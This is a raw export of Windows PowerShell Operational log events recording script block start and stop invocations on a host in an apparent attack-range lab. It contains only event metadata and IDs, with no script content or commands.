Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049126
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049125
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049103
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049102
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049101
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049100
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049084
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049083
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049078
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049077
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
